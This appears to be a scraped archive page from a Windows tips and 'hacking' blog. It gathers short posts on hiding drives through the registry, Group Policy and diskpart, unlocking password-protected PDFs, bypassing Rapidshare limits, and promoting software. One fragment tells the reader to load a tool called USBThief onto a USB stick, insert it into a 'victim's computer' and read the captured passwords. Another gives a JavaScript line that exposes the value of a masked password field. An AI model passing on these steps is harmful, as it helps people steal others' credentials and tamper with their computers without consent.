Hide Any Drive Through Group Policy Editor

Till now we have learn how to hide any drive from explorer in two ways -
    1.   Hide your drives in explorer with command prompt
    2.   Hide your drives in explorer with regedit

Now its turn for moving on to another level, lets suppose a virus or your administrator has blocked both command prompt and regedit but you still want to hide your drive, in that case Group Policy Editor will come in play.
 
Here is how to do it:

Step 1. Open Group Policy Editor (Press Win+R and type Gpedit.msc and press Enter)



Step 2. Navigate to User Configuration > Administrative Templates > Windows Component > Windows Explorer

Step 3. Now on the right Hand side i.e Settings Pane look for Hide these specified drives in My Computer.

Step 4. Double Click on it and Enable it, now choose from the drop down box which drive you want to hide (I choose All – Restrict All Drives)

Step 5. Now click on Apply and click OK, now you can see that Hide these specified drives in My Computer is Enabled.


Step 6. Now logoff and login back to see changes.
 
Step 7. In order to get them back go to Gpedit and set the Hide these specified drives in My Computer setting to Disable. That’s it.

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Portable Document Format files, PDF files can be locked and password protected by several ways. And they carries several meanings as well. Some password protected PDF file can be viewed and read easily but we’ll need to input password to copy the text and images from it. Besides copy paste, the PDF file can be password protected to publish it in print media by disabling or password protecting the Printing ability of the document. Unless you read eBooks in printed form, it’s not necessary to unlock these PDF as most of the time you read it in your favorite eBook reader.

However there are several Portable Document files that needs password to read and get viewed. This time you will be in chain because you don’t have the password to open it.

But don’t worry folks! You are just a click away from unlocking these PDF files. Now you can easily unlock any password protected PDF files from online tool.

Unlock-PDF.com has been providing such free online tool to unlock the PDF files. Unlock-PDF.com provides very user friendly and simple steps to unlock the PDF file.


To unlock PDF files, click on Choose File and click on Unlock File button. After unlocking, the browser will automatically download the unlocked PDF file.


This online tool can be very useful.

Hide Folders using Command Prompt

This is a small trick which can be done by changing the attributes of folders

1. Open Command prompt.

2. Type the command given below to hide the folders
          Attrib +s +h drive:\folder name

3. To retrive your file use this command
          Attrib –s –h drive:\folder name


For example: Lets assume that there is a folder called ‘X’ in drive ‘D’

I will hide it by use the command
          Attrib +s +h D:\x

That’s it you done it. If you want it back, use this command
         Attrib –s –h D:\x

 

Hide any Drive Through Regedit

In the previous tutorial we showed you how you can hide your drives in explorer with command prompt, now its time to use some alternatives. Suppose that command prompt is locked, so what you will do? yes, that’s why we are using Registry Editor as an alternative.

You can hide any drive with a simple registry edit, by following the below steps -

1. Go to Start Menu > Run (WIN+R) > Type regedit and press enter, to launch Registry Editor.

2. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies

3. Right click on Policies > New > Key and rename it to Explorer (If Explorer Key is not there)



3. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

4. Now Right click on the right side pane and click on New > DWORD value and rename it as NoDrives




5. Now suppose you want to hide C drive, so right click on NoDrives > Modify


6. Change the Base Type to Decimal and Value Data to 4 (for C drive)


Similarly, for hiding other drives use different Value data from the below table-

To hide drive A and drive D, you would add 1 (A) + 8 (D) which means the value should be set to “9″.

6. Log Off and Log In back to see changes.

Hide any Drive Through Command Prompt

Have you ever thought of hiding any drive from your system so that no one can knew about it. You may have heard or even used a lot of software’s that might be able to do that, but if you are GEEK and want to do things by your own without using any 3rd party software than this tutorial will show you how you can do it.

Well there are 3 ways of doing it, in this tutorial we are covering command prompt way of doing it.

Step 1. Open command Prompt, go to Start Menu > All Programs >Accessories > Command prompt

Step 2. In the Command Prompt, type Diskpart and hit enter key. If UAC (User Account Control), dialog-box prompts than click Yes.

Step 3. Then type List Volume and press enter, this will produce the list of all drives.



Step 4. Now select the drive which you want to hide, you can either do this by typing Select Volume 1 (i.e. Volume Number) or by typing Select Volume C(i.e. Drive letter)


Step 5. To hide a drive, type Remove Letter C. Here, C is the drive letter than you want to hide. You can use any drive letter you want.


Step 6. That’s it. You are done! C drive is now hidden



How to unhide hidden drive:


Step 1. Follow the procedure mentioned in step 1, 2, 3 and 4.

Step 2. To show the hidden drive type Assign Letter C and hit enter, now you can view C: drive in explorer.


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If you are very new in hacking world, before going to the article, I suggest you to read Learn How To Hack With The Hacker’s Underground Handbook before reading further article.

If you are already known to the hacking world then, welcome to the virtual simulation world of hacking environment.

If you really need some easy platform to practice hacking then I think this article will be a great help for you. Yes I am talking about the real hacking game, Hack The Game.

Disable Auto Hide Windows Taskbar Forever

This tutorial might not be very useful but whoever needs it, here it is. Sometimes some user may keep setting the auto hide and personally you may find it annoying. So in that case, you would like to set it so that it permanently stays there.

Hopefully, there is one another method, that is, making separate user account for you. But still I am going to teach you how you can disable the auto hide feature of Windows Taskbar.

Though it is possible to disable autohide feature from Registry editor, we are not going to do this. Because tweaking registry may risk your current computer status. Instead, we’ll be using Local Group Policy editor.

Convert From Any File To Any File For Free And Online

With increasing number of file formats according to software brands, having converter tool has become a must. You can even take example of your phone; most of the phone doesn’t support Windows Media Audio file. Then you might want to convert WMA to MP3 to play it in your phone. The video that you played in your friend’s phone is not playing in your phone? You need media converter again. Anybody requested your resume in PDF format instead of HTML or .DOC? Again you need document converter. Somebody requested you to send them TIFF formatted image instead of JPEG? Again you need image converter.There are several image converter tools, audio converter, video converter, document converters found everywhere in internet. These converter tools are of such type that you use it today and forget its name next day. And consequences, your hard disk will be overloaded with loads of converter tools and who can say that they might not contain any malwares or spywares?

Well, the best method to win the fight is, using all the converter of same brand. For example, if you are using WMA to MP3 converter from Jodix then use video converter of same company as well. But the sad news is it’s hard to find all file converter tools from same company, and even you find it, it’s never free.

Now what we have other alternative for that? Yes! Using online file converter! Bookmark the side of that online converter in separate bookmarking folder so that you can easily reach them and never have to search it again. For example, keep bookmarks of online video converting website, image converting website and audio converting website in same bookmarking folder.

But wish, if all of these tools were available in one website and for free. And here is the wish granted. Online-convert.com have been providing free online file conversion service. No software installation is needed to use this tool, neither you need any extension and extra plug-in in your browser. Just upload your file and convert it in their own fastest server with high power CPUs and download them instantly. I bet that there is nothing helpful online converter tool than this in internet.

Online-convert.com provides you variety of file conversion in one page.

1. You can convert more than 6 audio formats using online-convert.com



2. Convert to any 10 video formats you want, want more? Choose the device you want to convert the video for.



3. They have more than 10 formats to convert your image to.



4. Want to create your own PDF ebook? Have a look at their document file converter.



5. They also supports other ebooks converter and hash converter.

They all provide this service to you for free. Bookmark online-convert.com and you’ll never need to download any file converter again.

Auto End Tasks to Enable a Proper Shutdown

Most of us have problem while turning off the computer. We just click on Shutdown and thinks that computer will shutdown properly. But generally a error message comes and says to end task manually. But now dont need to click on end task. Just click on shutdown and computer will shutdown properly without any error message. Just follow these simple instructions

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Instructions:

1.Decompress the archive and put all the files located in the folder "USBThief"into a USB.

2.Insert the USB in your victim's computer.

3.View folder "dump" to see the passwords.


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Make Your Own Handwriting Fonts

The idea of having a different font has intrigued many of us as MS Word has no fonts that look like a handwriting. However, a few days back I stumbled upon this site which made my long time wish come true - http://www.fontcapture.com/ And the simple logic implemented behind the technology is praiseworthy.

Hide All Drives When You Open My Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1. Go to start->run.Type regedit.Now go to:

       HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer


2. Now in the right pane, create a new DWORD item and name it NoDrives (it is case sensitive).


3. Now modify it's value and set it to 3FFFFFF (Hexadecimal) .


4. Now restart your computer.


So, now when you click on My Computer, no drives will be shown(all gone...).


To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again

Best Application to Download and Play Videos Simultaneously from Rapidshare Links

Most of you download movies and videos from torrents or rapidshare. Normally you would have to completely download all the files/parts and then play it on your media player. It takes a lot of time in doings this. But now we can play our video while it is downloading from net.

Free Download Zemina Antiloger Full Version

As we all have information about keylogger. Keylogger is a very dangerous thing. We save our personal data inb our computer and an outsider can know it with a single click. So, we should avoid keylogger. One of the most effective method to counter keylogger is by using Zemana AntiLogger. I think it is very good software. Zemana AntiLogger is able to detect injection on most of the keyloggers and the trojan while successfully blocking the installation of dangerous files. Zemana has collaborated with Softpedia to offer everyone FREE license for Zemana AntiLogger ONLY FOR TODAY. Hurry and grab your license as soon as possible.


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2. Click the FREE Full Version Download Now button to download the installer AntiLogger_SOFTPEDIA_1.9.2.185.exe

3. Install and reboot your computer

4. Activate the program by following the on-screen instructions.

One can use Zemana Antilogger very easily. You can install and run Zemana AntiLogger together with your antivirus. Check here for a list of compatible security products. You have no idea how many undetectable threats out there today and relying solely on just antivirus itself is not enough to keep your personal data safe.



Note: Zemana AntiLogger is only compatible with Windows XP with Service Pack 2 or higher, Vista and 7 32 bit only. Zemana AntiLogger is not available for 64-bit Windows.

Trace IP Address

Many of you thinks that can IP address be traced? The answer is yes.
You can easily trace IP address or website URL.
Just open the link and enjoy.

Pop A Banner Each Time Windows Starts

To pop a banner which can contain any message you want to display just before a user is going to log on.

Go to the key :- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
Now create a new string Value in the right pane named 'LegalNoticeCaption' and enter the value that you want to see in the MenuBar.

Now create yet another new string value and name it:
'LegalNoticeText'.
Modify it and insert the message you want to display each time Windows boots.

It's '.reg' file would be:
REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."

Increase Broadband Speed

Most of us are using broadband and many have complaints that broadband speed is very slow. This is a very common problem and has simple solution. Just Follow these steps to increase your Broadband Speed:

1.  Click on Start Button.
2.  Select Run From Start Menu.
3.  Type gpedit.msc 
4.  Expand the Administrative Templates branch.
5.  Then expand the Network branch.
6.  Highlight QoS Packet Scheduler (Select by Single Click)
7.  Double-click Limit Reservable Bandwidth (Available in Right Side Panel)
8.  Check Enabled (Select By Single Click on it)
9.  Change Bandwidth limit % to 0 % 
10. Click OK Button.
11. Restart Your PC.
12. Now Check Your Broadband Speed.

Make sure you Log on as Administrator, not as a user with Administrator privileges.

Reveal Password Behind Asterisk

Want to Reveal the Passwords Hidden Behind Asterisk (****) ?

Just follow the steps given below-
1. Open the Login Page of any website. eg. www.gmail.com
2. Type your 'Username' and 'Password'.
3. Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.

               javascript: alert(document.getElementById('Passwd').value); 

4. As soon as you press 'Enter', A window pops up showing Password typed by you..!

Note :- This trick may not be working with firefox and opera.

Rapidshare: Unlimited Downloads, No Waiting...!

There are two hacks to beat Rapidshare download limits and waiting time.

1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors. The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That's where Greasemonkey, a free plug-in for Firefox, comes in -it simplifies hacking the browser.

JPG Picture Resizer With Command Line Support

I was looking for a tool that is able to create thumbnails of images in a folder.There are many softwares but I want something that is small, portable and supports command line support. Preferably free so that everyone can use them. After flipping through a lot of search results pages, I finally found what I wanted and it’s called Picture Resizer.

Create Charts Online Without Any Software

Charts is the best way to visualise statstical information. If you present an audience with raw figures, people may get confused. But if you present data visually, then more people will follow your main points. Microsoft Excel provides a pretty easy way to create charts based on the data in the worksheet. But there may be a case when we don't have Microsoft Excel installed and we urgently need charts. To install Microsoft Office again and again is a huge task. So in this case we can continue our work i.e. making charts by opening some websites.

Best Performing Antivirus and Internet Security

There are lot of antivirus available in market. And it is really very difficult to choose best antivirus. I did test on 104 most famous antivirus and is the lightest on system memory usage. The test includes Application Launch Time, Boot Time Increase,  Memory usage during Idle, Peak Memory Usage and Installation Size.